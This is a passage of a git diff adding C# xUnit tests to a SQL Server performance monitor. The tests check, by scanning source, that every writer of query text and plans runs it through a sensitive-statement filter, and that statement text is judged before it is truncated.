+            if (!Listed.TryGetValue(key, out var entry) || entry.Kind != Kind.Hooked)
+            {
+                problems.Add(key + " is not a Hooked entry of Listed");
+                continue;
+            }
+
+            var parts = test.Split('.');
+            if (parts.Length != 2 || parts[0] != censusClass)
+            {
+                problems.Add(key + " names " + test + ", which is not a test in " + censusClass);
+                continue;
+            }
+
+            var type = typeList.FirstOrDefault(t => t.Name == censusClass);
+            var method = type?
+                .GetMethods(BindingFlags.Public | BindingFlags.Instance | BindingFlags.Static)
+                .FirstOrDefault(m => m.Name == parts[1] && IsRunnableTest(m));
+            if (type is null || method is null)
+            {
+                problems.Add(key + " names " + test + ", which is not a runnable [Fact] or [Theory] (none, skipped, or explicit)");
+                continue;
+            }
+
+            var source = sourceOf(type);
+            var column = key[(key.IndexOf('.') + 1)..];
+            if (!source.Contains("StatementScrubRecordingWriter", StringComparison.Ordinal)
+                || !source.Contains(column, StringComparison.Ordinal)
+                || source.Contains("Assert.Skip", StringComparison.Ordinal))
+            {
+                problems.Add(key + " names " + test + ", but " + censusClass + " does not drive StatementScrubRecordingWriter " +
+                    "for " + column + " (or it skips at run time)");
+            }
+        }
+
+        return problems.ToArray();
+    }
+
+    /// <summary>The Hooked entries that claim their hook landed (not pending) and have no registered case.</summary>
+    private static string[] NonPendingWithoutACase(IReadOnlyDictionary<string, string> cases) =>
+        Listed.Where(e => e.Value.Kind == Kind.Hooked && !e.Value.Pending && !cases.ContainsKey(e.Key))
+            .Select(e => e.Key)
+            .OrderBy(k => k, StringComparer.Ordinal)
+            .ToArray();
+
+    [Fact]
+    public void EveryNonPendingHookedColumn_HasACollectionCase()
+    {
+        var missing = NonPendingWithoutACase(StatementCollectionCensusCases.ByColumn);
+
+        Assert.True(
+            missing.Length == 0,
+            "These Hooked entries are not pending but have no collection-time case in " +
+            "StatementCollectionCensusCases.ByColumn (a test that plants the canary in the collector's input and " +
+            "asserts what is written): " + string.Join(", ", missing));
+    }
+
+    [Fact]
+    public void EveryRegisteredCollectionCase_NamesARunnableTestOnAHookedColumn()
+    {
+        var problems = RegistryProblems(StatementCollectionCensusCases.ByColumn);
+
+        Assert.True(problems.Length == 0, string.Join("; ", problems));
+    }
+
+    // Fixtures for the registry self-test. Not public, so xunit does not run them (xUnit1000 asks for public).
+#pragma warning disable xUnit1000
+    private sealed class FixtureCensus
+    {
+        [Fact]
+        public void Runs() { }
+
+        [Fact(Skip = "fixture")]
+        public void Skipped() { }
+
+        [Fact(Explicit = true)]
+        public void NotRunByDefault() { }
+
+        [Theory(Skip = "fixture")]
+        [InlineData(1)]
+        public void SkippedTheory(int x) => _ = x;
+
+        public void NoAttribute() { }
+    }
+
+    private sealed class FixtureOtherClass
+    {
+        [Fact]
+        public void Runs() { }
+    }
+#pragma warning restore xUnit1000
+
+    [Fact]
+    public void TheRegistryChecks_CatchABrokenCaseAndAnUncoveredEntry()
+    {
+        // With no cases at all, every non-pending Hooked entry is named (none today: all are pending).
+        var empty = new Dictionary<string, string>(StringComparer.Ordinal);
+        Assert.Equal(
+            Listed.Count(e => e.Value.Kind == Kind.Hooked && !e.Value.Pending),
+            NonPendingWithoutACase(empty).Length);
+
+        // The real registry check: a missing class, a column that is not Hooked, and a runnable test in a class that is
+        // not the collection census, each fail.
+        var broken = new Dictionary<string, string>(StringComparer.Ordinal)
+        {
+            ["query_stats.query_text"] = "NoSuchClass.NoSuchMethod",
+            ["query_stats.query_plan_hash"] = "StatementColumnCensusTests.EveryEntry_CarriesItsReasonRowAndLane",
+        };
+        Assert.Equal(2, RegistryProblems(broken).Length);
+
+        // Over the fixture census class (named FixtureCensus here): only a runnable test whose source drives the
+        // recording writer for the column is accepted.
+        var types = new[] { typeof(FixtureCensus), typeof(FixtureOtherClass) };
+        string Driving(Type _) => "var w = new StatementScrubRecordingWriter(); // query_text";
+        string Unrelated(Type _) => "plain test with no harness";
+
+        string[] Check(string test, Func<Type, string> source) =>
+            RegistryProblems(
+                new Dictionary<string, string>(StringComparer.Ordinal) { ["query_stats.query_text"] = test },
+                types, nameof(FixtureCensus), source);
+
+        Assert.Empty(Check("FixtureCensus.Runs", Driving));
+        Assert.Single(Check("FixtureCensus.Skipped", Driving));
+        Assert.Single(Check("FixtureCensus.NotRunByDefault", Driving));
+        Assert.Single(Check("FixtureCensus.SkippedTheory", Driving));
+        Assert.Single(Check("FixtureCensus.NoAttribute", Driving));
+        Assert.Single(Check("FixtureCensus.Missing", Driving));
+        Assert.Single(Check("FixtureOtherClass.Runs", Driving));
+        Assert.Single(Check("FixtureCensus.Runs", Unrelated));
+        Assert.Single(Check("FixtureCensus.Runs", _ => "new StatementScrubRecordingWriter(); query_text; Assert.SkipWhen(x, y);"));
+    }
+
+    // ── writers outside the definitions ──
+
+    /// <summary>
+    /// A writer that can put statement text, a plan or a caller's arguments into a store without going through a
+    /// collector definition's payload columns. <c>Sites</c> are the (file, type, method) places the hook may live;
+    /// every site must still exist, and in a non-pending entry EACH site must judge (a <c>SensitiveStatements</c> call,
+    /// a session it received) or call another site of the entry that does.
+    /// </summary>
+    private sealed record Watched(
+        string Name, string Row, string Lane, bool Pending, params (string File, string Type, string Method)[] Sites);
+
+    private const string Runner = "Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs";
+
+    private static readonly Watched[] WatchedWriters =
+    {
+        // 6.7 row 7: Query Store plans by id. The runner fetches and hands them to the plan writer.
+        new("query store plans by id", "6.7 row 7", "R3", false,
+            (Runner, "DarlingCollectorRunner", "FetchAndStorePlansAsync"),
+            ("Darling/PerformanceMonitor.Darling.Storage/QueryStorePlanWriter.cs", "QueryStorePlanWriter", "WriteAsync")),
+
+        // 6.7 row 6: the Query Store text store.
+        new("query store text store", "6.7 row 6", "R3", false,
+            (Runner, "DarlingCollectorRunner", "FetchAndStoreQueryTextAsync"),
+            ("Darling/PerformanceMonitor.Darling.Storage/QueryStoreTextWriter.cs", "QueryStoreTextWriter", "WriteAsync")),
+
+        // 6.7 row 20: the oversized-plan sweep fetches one plan and records it in the backlog.
+        new("oversized plan sweep", "6.7 row 20", "R6", false,
+            ("Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs", "OversizedPlanBacklogSweep", "FetchOnePlanAsync"),
+            ("Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs", "OversizedPlanBacklogSweep", "JudgeFetchedPlan")),
+
+        // The fetch_plan and execute_actual_plan command results store a plan in result_json. Both handlers must hand
+        // the plan to PlanResultOutcome (the judge): the per-method rule fails a handler that serializes planXml
+        // itself (#5367 review round 2, N1; the live test's fake host calls PlanResultOutcome on its own, so it
+        // cannot see such a revert).
+        new("plan command results", "plan commands (fetch_plan, execute_actual_plan)", "E", false,
+            ("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs", "DarlingWorker", "RunFetchPlanAsync"),
+            ("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs", "DarlingWorker", "RunExecuteActualPlanAsync"),
+            ("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs", "DarlingWorker", "PlanResultOutcome")),
+
+        // The slow-read log stores up to 4 KB of a slow call's arguments (a plan or a statement a caller passed).
+        // L7: every surface's offer ends in SlowReadLog.Offer, which judges the arguments before they are stored.
+        new("slow-read log: the MCP filter's offer", "plan section 1 (slow-read log)", "L7 and L8", false,
+            ("Darling/PerformanceMonitor.Darling.Service/Mcp/McpToolLatencyFilter.cs", "McpToolLatencyFilter", "OfferSlow"),
+            ("Darling/PerformanceMonitor.Darling.Service/SlowReadLog.cs", "SlowReadLog", "Offer")),
+        new("slow-read log: the log's offer", "plan section 1 (slow-read log)", "L7 and L8", false,
+            ("Darling/PerformanceMonitor.Darling.Service/SlowReadLog.cs", "SlowReadLog", "Offer")),
+    };
+
+    private static readonly Regex SessionCall = new(
+        @"SensitiveStatements\s*\.\s*(Session|Text|Xml|Json)\b",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    /// <summary>The source with comments, and the inside of string and character literals, blanked to spaces
+    /// (newlines kept), so a brace or a name in a comment or a string is not read as code.</summary>
+    internal static string CodeOnly(string source)
+    {
+        var sb = new StringBuilder(source.Length);
+        var i = 0;
+        while (i < source.Length)
+        {
+            var c = source[i];
+            var next = i + 1 < source.Length ? source[i + 1] : '\0';
+
+            if (c == '/' && next == '/')
+            {
+                while (i < source.Length && source[i] != '\n')
+                {
+                    sb.Append(' ');
+                    i++;
+                }
+            }
+            else if (c == '/' && next == '*')
+            {
+                var end = source.IndexOf("*/", i + 2, StringComparison.Ordinal);
+                end = end < 0 ? source.Length : end + 2;
+                for (; i < end; i++)
+                {
+                    sb.Append(source[i] == '\n' ? '\n' : ' ');
+                }
+            }
+            else if (c == '"' && source.AsSpan(i).StartsWith("\"\"\"", StringComparison.Ordinal))
+            {
+                var end = source.IndexOf("\"\"\"", i + 3, StringComparison.Ordinal);
+                end = end < 0 ? source.Length : end + 3;
+                for (; i < end; i++)
+                {
+                    sb.Append(source[i] == '\n' ? '\n' : ' ');
+                }
+            }
+            else if (c == '"' || c == '\'')
+            {
+                var verbatim = c == '"' && i > 0 && (source[i - 1] == '@' || (i > 1 && source[i - 1] == '$' && source[i - 2] == '@'));
+                sb.Append(' ');
+                i++;
+                while (i < source.Length)
+                {
+                    var d = source[i];
+                    if (!verbatim && d == '\\')
+                    {
+                        sb.Append("  ");
+                        i += 2;
+                        continue;
+                    }
+
+                    if (d == c)
+                    {
+                        if (verbatim && i + 1 < source.Length && source[i + 1] == c)
+                        {
+                            sb.Append("  ");
+                            i += 2;
+                            continue;
+                        }
+
+                        sb.Append(' ');
+                        i++;
+                        break;
+                    }
+
+                    if (d == '\n' && !verbatim)
+                    {
+                        break;
+                    }
+
+                    sb.Append(d == '\n' ? '\n' : ' ');
+                    i++;
+                }
+            }
+            else
+            {
+                sb.Append(c);
+                i++;
+            }
+        }
+
+        return sb.ToString();
+    }
+
+    /// <summary>The bodies of every declaration of <paramref name="method"/> in <paramref name="source"/> (empty
+    /// when the type or the method is not there). A declaration is a line that starts with modifiers or a return
+    /// type and then the name and "(", followed by a block body.</summary>
+    internal static List<string> BodiesOf(string source, string type, string method) =>
+        DeclarationsOf(source, type, method).Select(d => d.Body).ToList();
+
+    /// <summary>As <see cref="BodiesOf"/>, with each declaration's parameter list beside its body, so a writer that
+    /// is HANDED a <c>SensitiveStatements.Session</c> (the batch's, rather than one it makes) can be recognised.</summary>
+    internal static List<(string Parameters, string Body)> DeclarationsOf(string source, string type, string method)
+    {
+        var bodies = new List<(string Parameters, string Body)>();
+        var code = CodeOnly(source);
+        if (!Regex.IsMatch(code, @"\b(class|struct|record|interface)\s+" + Regex.Escape(type) + @"\b"))
+        {
+            return bodies;
+        }
+
+        var declaration = new Regex(
+            @"^[ \t]*(?!(?:return|await|new|else|throw|yield)\b)(?:[\w<>\[\],.?()]+[ \t]+)+" + Regex.Escape(method) + @"[ \t]*(?:<[^>\r\n]*>)?[ \t]*\(",
+            RegexOptions.Multiline | RegexOptions.CultureInvariant);
+
+        foreach (Match m in declaration.Matches(code))
+        {
+            var depth = 0;
+            var i = m.Index + m.Length - 1;
+            for (; i < code.Length; i++)
+            {
+                if (code[i] == '(')
+                {
+                    depth++;
+                }
+                else if (code[i] == ')' && --depth == 0)
+                {
+                    break;
+                }
+            }
+
+            var open = i;
+            while (open < code.Length && code[open] != '{' && code[open] != ';'
+                && !(code[open] == '=' && open + 1 < code.Length && code[open + 1] == '>'))
+            {
+                open++;
+            }
+
+            if (open >= code.Length || code[open] != '{')
+            {
+                continue; // an abstract, interface or expression-bodied member: no block body to scan
+            }
+
+            var braces = 0;
+            var close = open;
+            for (; close < code.Length; close++)
+            {
+                if (code[close] == '{')
+                {
+                    braces++;
+                }
+                else if (code[close] == '}' && --braces == 0)
+                {
+                    break;
+                }
+            }
+
+            var parametersStart = m.Index + m.Length - 1;
+            bodies.Add((
+                code[parametersStart..Math.Max(parametersStart, Math.Min(open, code.Length))],
+                code[open..Math.Min(close + 1, code.Length)]));
+        }
+
+        return bodies;
+    }
+
+    private static bool HasSessionCall(string body) => SessionCall.IsMatch(body);
+
+    private static readonly Regex SessionParameter = new(
+        @"\bSensitiveStatements\s*\.\s*Session\??\s+(?<name>\w+)",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    /// <summary>
+    /// A writer that is passed the batch's session rather than making one: it names a
+    /// <c>SensitiveStatements.Session</c> parameter and its body calls a judging method (<c>Text</c>, <c>TryText</c>,
+    /// <c>Xml</c>, <c>TryXml</c>) on that parameter. Merely receiving a session, or judging through some other
+    /// object, is not hooking.
+    /// </summary>
+    private static bool JudgesThroughAReceivedSession((string Parameters, string Body) declaration)
+    {
+        foreach (Match p in SessionParameter.Matches(declaration.Parameters))
+        {
+            var call = new Regex(
+                @"(?<![\w.])" + Regex.Escape(p.Groups["name"].Value) + @"\s*\.\s*(Try)?(Text|Xml)\s*\(",
+                RegexOptions.CultureInvariant);
+            if (call.IsMatch(declaration.Body))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>
+    /// Whether <paramref name="body"/> (of a method on <paramref name="ownType"/>) calls the site
+    /// <paramref name="target"/>: an unqualified call when it is on the same type, <c>Type.Method(</c> otherwise, or a
+    /// call on a private instance field (<c>_field.Method(</c>) that <paramref name="fileSource"/> declares with the
+    /// target's type: the MCP filter hands a slow call's arguments to the slow-read log through its
+    /// <c>_slowReads</c> field (#5320, dev's #5362 merged into #5367). A field of any other type does not count
+    /// (#5367 review: a writer calling <c>_queue.Offer(</c> on an unrelated queue is not hooked).
+    /// </summary>
+    private static bool CallsSite(string body, string ownType, (string Type, string Method) target, string fileSource)
+    {
+        if (target.Type == ownType)
+        {
+            return Regex.IsMatch(body, @"(?<![\w.])" + Regex.Escape(target.Method) + @"\s*\(", RegexOptions.CultureInvariant);
+        }
+
+        if (Regex.IsMatch(body, @"(?<![\w])" + Regex.Escape(target.Type) + @"\s*\.\s*" + Regex.Escape(target.Method) + @"\s*\(",
+            RegexOptions.CultureInvariant))
+        {
+            return true;
+        }
+
+        foreach (Match call in Regex.Matches(body, @"(?<![\w.])(?<field>_\w+)\s*\.\s*" + Regex.Escape(target.Method) + @"\s*\(",
+            RegexOptions.CultureInvariant))
+        {
+            // The field must be declared in this file with the target's type, readonly or not, nullable or not.
+            var declared = @"\b" + Regex.Escape(target.Type) + @"\??\s+" + Regex.Escape(call.Groups["field"].Value) + @"\b";
+            if (Regex.IsMatch(fileSource, declared, RegexOptions.CultureInvariant))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>The problems with a watched list, reading each site's file through <paramref name="read"/>.</summary>
+    private static string[] WatchedProblems(IEnumerable<Watched> writers, Func<string, string?> read)
+    {
+        var problems = new List<string>();
+        foreach (var w in writers)
+        {
+            if (string.IsNullOrWhiteSpace(w.Lane) || string.IsNullOrWhiteSpace(w.Row))
+            {
+                problems.Add(w.Name + " needs a plan row and an owning lane");
+            }
+
+            // Per method (review of #5367, A-L2): every site is a method that returns or hands on plan or statement
+            // text, and each one must filter. It filters when it judges directly, judges through a session it
+            // received, or calls another site of the same writer that does (the runner's fetch methods hand a session
+            // to the store writer; the sweep's fetch returns what its judging step returns). A second method that
+            // does none of these fails even when a sibling is hooked, so one hooked method cannot vouch for the rest.
+            var sites = new List<(string File, string Type, string Method, List<(string Parameters, string Body)> Bodies)>();
+            foreach (var (file, type, method) in w.Sites)
+            {
+                var source = read(file);
+                var bodies = source is null ? new List<(string Parameters, string Body)>() : DeclarationsOf(source, type, method);
+                if (bodies.Count == 0)
+                {
+                    problems.Add(w.Name + ": " + type + "." + method + " in " + file + " no longer exists; update WatchedWriters");
+                    continue;
+                }
+
+                sites.Add((file, type, method, bodies));
+            }
+
+            var filtering = new HashSet<(string Type, string Method)>();
+            foreach (var site in sites)
+            {
+                if (site.Bodies.Any(d => HasSessionCall(d.Body) || JudgesThroughAReceivedSession(d)))
+                {
+                    filtering.Add((site.Type, site.Method));
+                }
+            }
+
+            bool changed;
+            do
+            {
+                changed = false;
+                foreach (var site in sites.Where(x => !filtering.Contains((x.Type, x.Method))))
+                {
+                    if (filtering.Any(f => site.Bodies.Any(d => CallsSite(d.Body, site.Type, f, read(site.File) ?? ""))))
+                    {
+                        filtering.Add((site.Type, site.Method));
+                        changed = true;
+                    }
+                }
+            }
+            while (changed);
+
+            if (!w.Pending)
+            {
+                foreach (var site in sites.Where(x => !filtering.Contains((x.Type, x.Method))))
+                {
+                    problems.Add(w.Name + ": " + site.Type + "." + site.Method + " is not pending but neither calls SensitiveStatements nor hands the text to a method that does");
+                }
+            }
+        }
+
+        return problems.ToArray();
+    }
+
+    private static string? ReadSiteFile(string relative)
+    {
+        var path = RepoFile.PathTo(relative);
+        return File.Exists(path) ? File.ReadAllText(path) : null;
+    }
+
+    [Fact]
+    public void EveryWatchedWriter_StillExists_AndANonPendingOneCallsTheFilter()
+    {
+        var problems = WatchedProblems(WatchedWriters, ReadSiteFile);
+
+        Assert.True(problems.Length == 0, string.Join("; ", problems));
+        Assert.Equal(WatchedWriters.Length, WatchedWriters.Select(w => w.Name).Distinct(StringComparer.Ordinal).Count());
+    }
+
+    [Fact]
+    public void TheWatchedScan_SeesACallAMissingMethodAndACommentedCall()
+    {
+        const string Source = @"
+namespace N
+{
+    public sealed class W
+    {
+        // SensitiveStatements.Session() in a comment is not a call
+        public void Plain(string s)
+        {
+            var braces = ""{ not a block }""; /* SensitiveStatements.Text(s) */
+        }
+
+        internal async Task Hooked(string s)
+        {
+            var session = new SensitiveStatements.Session();
+            Use(session.Text(s));
+        }
+    }
+}";
+        Assert.Single(BodiesOf(Source, "W", "Plain"));
+        Assert.False(HasSessionCall(BodiesOf(Source, "W", "Plain")[0]));
+        Assert.True(HasSessionCall(BodiesOf(Source, "W", "Hooked")[0]));
+        Assert.Empty(BodiesOf(Source, "W", "Gone"));
+        Assert.Empty(BodiesOf(Source, "Other", "Hooked"));
+
+        var one = new Watched("planted", "6.7 row 0", "R0", false, ("f.cs", "W", "Plain"));
+        Assert.Single(WatchedProblems(new[] { one }, _ => Source));
+        Assert.Empty(WatchedProblems(new[] { one with { Sites = new[] { ("f.cs", "W", "Hooked") } } }, _ => Source));
+        Assert.Single(WatchedProblems(new[] { one with { Pending = true, Sites = new[] { ("f.cs", "W", "Gone") } } }, _ => Source));
+        Assert.Single(WatchedProblems(new[] { one with { Pending = true } }, _ => null));
+    }
+
+    [Fact]
+    public void TheWatchedScan_SeesACallOnAPrivateFieldOfAnotherType_ButNotOnALocalOrAnUnrelatedMethod()
+    {
+        var target = ("SlowReadLog", "Offer");
+        const string declares = "private readonly SlowReadLog _slowReads = new();\nprivate SlowReadLog? _optional;";
+        Assert.True(CallsSite("_slowReads.Offer(a, b);", "McpToolLatencyFilter", target, declares));
+        Assert.True(CallsSite("_optional.Offer(a);", "McpToolLatencyFilter", target, declares));
+        Assert.True(CallsSite("SlowReadLog.Offer(a);", "McpToolLatencyFilter", target, ""));
+        Assert.False(CallsSite("local.Offer(a);", "McpToolLatencyFilter", target, declares));
+        Assert.False(CallsSite("_slowReads.ShouldRecord(a);", "McpToolLatencyFilter", target, declares));
+        // A private field of any OTHER type is not the site (#5367 review): the queue is not the slow-read log.
+        Assert.False(CallsSite("_queue.Offer(a);", "McpToolLatencyFilter", target, "private readonly Queue<string> _queue = new();"));
+        Assert.False(CallsSite("_queue.Offer(a);", "McpToolLatencyFilter", target, declares));
+        Assert.False(CallsSite("Offer(a);", "McpToolLatencyFilter", target, declares));
+    }
+
+    [Fact]
+    public void TheWatchedScan_RecognisesTheSessionAWriterReceives_AndAWriterThatNeverJudgesStillFails()
+    {
+        const string Source = @"
+namespace N
+{
+    internal static class R
+    {
+        internal static (int, string) Judges(SensitiveStatements.Session scrub, string xml, int attempts)
+        {
+            if (!scrub.TryXml(xml, out var judged))
+            {
+                return (0, null);
+            }
+
+            return (1, judged);
+        }
+
+        internal static void ReceivesButNeverJudges(SensitiveStatements.Session scrub, string xml)
+        {
+            Use(xml);
+        }
+
+        internal static void JudgesThroughSomethingElse(SensitiveStatements.Session scrub, Other other, string xml)
+        {
+            other.Xml(xml);
+        }
+
+        internal static void JudgesThroughAParameterThatIsNotASession(Other scrub, string xml)
+        {
+            scrub.Xml(xml);
+        }
+
+        internal static void ACommentIsNotAJudgement(SensitiveStatements.Session scrub, string xml)
+        {
+            // scrub.Xml(xml)
+            var s = ""scrub.Xml(x)"";
+        }
+    }
+}";
+        Watched Site(string method) => new("planted", "6.7 row 0", "R0", false, ("f.cs", "R", method));
+
+        Assert.Empty(WatchedProblems(new[] { Site("Judges") }, _ => Source));
+        Assert.Single(WatchedProblems(new[] { Site("ReceivesButNeverJudges") }, _ => Source));
+        Assert.Single(WatchedProblems(new[] { Site("JudgesThroughSomethingElse") }, _ => Source));
+        Assert.Single(WatchedProblems(new[] { Site("JudgesThroughAParameterThatIsNotASession") }, _ => Source));
+        Assert.Single(WatchedProblems(new[] { Site("ACommentIsNotAJudgement") }, _ => Source));
+    }
+
+    [Fact]
+    public void TheWatchedScan_JudgesEveryMethodOfAWriter_NotJustTheOnesThatFilter()
+    {
+        // Review of #5367 (A-L2): the scan passed a writer when any one of its methods filtered, so a method added
+        // beside a hooked one (a second fetch that returns plan text) went unseen.
+        const string Source = @"
+namespace N
+{
+    internal static class Sweep
+    {
+        internal static async Task<(int, string)> Fetch(SensitiveStatements.Session scrub, string xml)
+        {
+            return Judge(scrub, xml);
+        }
+
+        internal static async Task<(int, string)> FetchAnother(SensitiveStatements.Session scrub, string xml)
+        {
+            return (1, xml);
+        }
+
+        internal static (int, string) Judge(SensitiveStatements.Session scrub, string xml)
+        {
+            scrub.TryXml(xml, out var judged);
+            return (1, judged);
+        }
+
+        internal static void Mentions(string xml)
+        {
+            // Judge(scrub, xml) in a comment is not a call
+            Use(xml);
+        }
+    }
+
+    internal static class Runner
+    {
+        internal static void Hands(string xml)
+        {
+            Sweep.Judge(null, xml);
+        }
+
+        internal static void Skips(string xml)
+        {
+            Other.Judge(null, xml);
+        }
+    }
+}";
+        Watched Writer(params (string Type, string Method)[] sites) =>
+            new("planted", "6.7 row 0", "R0", false, sites.Select(s => ("f.cs", s.Type, s.Method)).ToArray());
+
+        // A method that hands the text on to a hooked sibling filters through it (the sweep's fetch, the runner's fetches).
+        Assert.Empty(WatchedProblems(new[] { Writer(("Sweep", "Fetch"), ("Sweep", "Judge")) }, _ => Source));
+        Assert.Empty(WatchedProblems(new[] { Writer(("Runner", "Hands"), ("Sweep", "Judge")) }, _ => Source));
+
+        // RED on the any-method rule: a second method that does not filter fails although a sibling is hooked.
+        var unfiltered = WatchedProblems(new[] { Writer(("Sweep", "Fetch"), ("Sweep", "Judge"), ("Sweep", "FetchAnother")) }, _ => Source);
+        Assert.Single(unfiltered);
+        Assert.Contains("Sweep.FetchAnother", unfiltered[0], StringComparison.Ordinal);
+
+        // A comment naming a hooked sibling, or a call to another type's method of the same name, is not delegation.
+        Assert.Single(WatchedProblems(new[] { Writer(("Sweep", "Mentions"), ("Sweep", "Judge")) }, _ => Source));
+        Assert.Single(WatchedProblems(new[] { Writer(("Runner", "Skips"), ("Sweep", "Judge")) }, _ => Source));
+
+        // A pending writer is not judged, as before.
+        Assert.Empty(WatchedProblems(new[] { Writer(("Sweep", "FetchAnother")) with { Pending = true } }, _ => Source));
+    }
+
+    [Fact]
+    public void TheOversizedSweepWatchedWriter_IsHookedThroughTheSessionItReceives()
+    {
+        var source = ReadSiteFile("Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs");
+        Assert.NotNull(source);
+
+        var judge = DeclarationsOf(source!, "OversizedPlanBacklogSweep", "JudgeFetchedPlan");
+        Assert.Single(judge);
+        Assert.False(HasSessionCall(judge[0].Body), "the judging step makes no session of its own");
+        Assert.True(JudgesThroughAReceivedSession(judge[0]));
+    }
+
+    // ── the release gate ──
+
+    private static string[] PendingEntries() =>
+        Listed.Where(e => e.Value.Kind == Kind.Hooked && e.Value.Pending)
+            .Select(e => "column " + e.Key + " (" + e.Value.Lane + ")")
+            .Concat(WatchedWriters.Where(w => w.Pending).Select(w => "writer " + w.Name + " (" + w.Lane + ")"))
+            .OrderBy(k => k, StringComparer.Ordinal)
+            .ToArray();
+
+    /// <summary>
+    /// The gate test's name, bound with <c>nameof</c> so a rename moves it. The release workflow's gate step filters on this
+    /// name, and <c>ReleaseStatementGateWorkflowTests</c> reads this constant, so a rename that leaves the workflow behind
+    /// fails a pin instead of leaving the gate matching zero tests (#5320, review of #5367).
+    /// </summary>
+    public const string ReleaseGateTestName = nameof(StatementCensus_PendingEntries_BlockARelease);
+
+    /// <summary>
+    /// The statement-column ratchet (see the release-checklist skill). It fails while ANY statement-column census entry or
+    /// watched writer is pending, and its message is the pending count and the list. Nothing is pending now, so a pull
+    /// request that adds a statement column or writer without judging it fails here on its own, in every normal Darling
+    /// test run, instead of at the release cut (#5320, ruling 2026-10-06). The name stays because the release workflow's
+    /// gate step and <c>ReleaseStatementGateWorkflowTests</c> bind to it. That step still sets <c>DARLING_RELEASE_CUT=1</c>
+    /// and runs this one test ahead of every publish step; the variable no longer changes what the test asserts.
+    /// </summary>
+    [Fact]
+    public void StatementCensus_PendingEntries_BlockARelease()
+    {
+        var pending = PendingEntries();
+        var summary = "Statement-column census pending entries: " + pending.Length +
+            (pending.Length == 0 ? string.Empty : " -> " + string.Join("; ", pending));
+
+        Console.WriteLine(summary);
+
+        Assert.True(
+            pending.Length == 0,
+            "Every statement-column census entry and watched writer must be hooked; a pending one fails every test run, not only a release cut. " + summary);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementCutSourceScanTests.cs b/Darling/Darling.Tests/StatementCutSourceScanTests.cs
new file mode 100644
index 0000000000..bd70422aca
--- /dev/null
+++ b/Darling/Darling.Tests/StatementCutSourceScanTests.cs
@@ -0,0 +1,875 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320: statement text is judged WHOLE, then cut (<c>McpHelpers.TruncateStatement</c> / <c>StatementPreview</c> /
+/// <c>AnalysisStatementText.Preview</c>). Never cut, then judge: a cut BEFORE the judge lets a value early in a batch
+/// pass while the text that names it sits past the cut. This scan fails when either shape appears in the Lite MCP,
+/// service and analysis code or in the Darling service and analysis code:
+/// <list type="number">
+/// <item>C#: <c>Truncate(x, n)</c>, <c>x.Substring(...)</c>, <c>x[..n]</c>, <c>CutCodePoints(x, n)</c>, <c>RawCut(x)</c> or
+/// <c>lines.Take(n)</c> (lines split out of a graph) where <c>x</c> is named like statement text (see
+/// <see cref="StatementName"/>). A local that was assigned from a judge call in the same block, before the cut, is
+/// judged text and its cut is the sanctioned order (<see cref="JudgedLocals"/>).</item>
+/// <item>SQL in a C# string literal: <c>LEFT(</c>, <c>SUBSTRING(</c> or <c>SUBSTR(</c> over such a column, including a
+/// column written as an interpolation hole (<c>LEFT({col}, n)</c>) whose name, or the constant it names, is statement text.</item>
+/// <item>C# (#5361 round 2): <c>x.AsSpan(a, b)</c> (also inside <c>string.Concat</c>), <c>x.AsSpan()[..n]</c>,
+/// <c>x.Slice(...)</c>, <c>x.Remove(n)</c> and a chained <c>x.Split(...).Take(n)</c>. SQL: a DuckDB slice
+/// (<c>text[1:n]</c>, <c>array_slice</c>) and a PostgreSQL <c>::varchar(n)</c> or <c>CAST(... AS varchar(n))</c>.</item>
+/// </list>
+/// The scanner is pinned with planted sources; the real trees are held to a short, named list of exceptions.
+/// <para><b>Known blind spots</b> (a regex over source text cannot read these reliably; they are named here on purpose,
+/// not left silent, so a reviewer of a new statement-text cut checks them by eye):
+/// (1) an alias local: <c>var t = row.QueryText; t[..300]</c> cuts under a name that is not statement-like, and the scan
+/// reads names, not data flow. (2) a ternary, <c>??</c> arm or later re-assignment around a judged local:
+/// <c>var s = flag ? SensitiveStatements.Text(a) : raw; s[..300]</c> is excused because the right side holds a judge call,
+/// and so is a raw re-assignment after a judge. Also not seen: SQL built by concatenation (<c>"LEFT(" + col + ", 500)"</c>)
+/// and a JSON-generic local.</para>
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class StatementCutSourceScanTests
+{
+    /// <summary>Folders scanned, repo-root relative. Lite MCP, services and analysis; the shared alerting, notification and analysis projects; Darling service and analysis.</summary>
+    private static readonly string[] ScannedTrees =
+    {
+        "Lite/Mcp",
+        "Lite/Services",
+        "Lite/Analysis",
+        "PerformanceMonitor.Alerting",
+        "PerformanceMonitor.Notifications",
+        "PerformanceMonitor.Analysis",
+        "Darling/PerformanceMonitor.Darling.Service",
+        "Darling/PerformanceMonitor.Darling.Analysis",
+    };
+
+    /// <summary>A name that says the value is statement text. Lower-cased identifier or column, substring match.</summary>
+    private static readonly Regex StatementName = new(
+        @"sql|query_?text|statement|inputbuf|graph|stmt|normalized|preview_?text|raw_?text|fetched_?text|text_?data"
+        + @"|blocked_?process|current_?query|root_?query|query_?sample|sample_?text|(?:blocked|blocking|victim)_?query|\bquery\b|_query\b",
+        RegexOptions.Compiled | RegexOptions.IgnoreCase);
+
+    /// <summary><c>Truncate(x, n)</c> and the alert builders' <c>TruncateText(x, n)</c> (#5320: it cuts the alert
+    /// context's statement text). <c>TruncateStatement</c> is the judge-then-cut helper and is not matched.</summary>
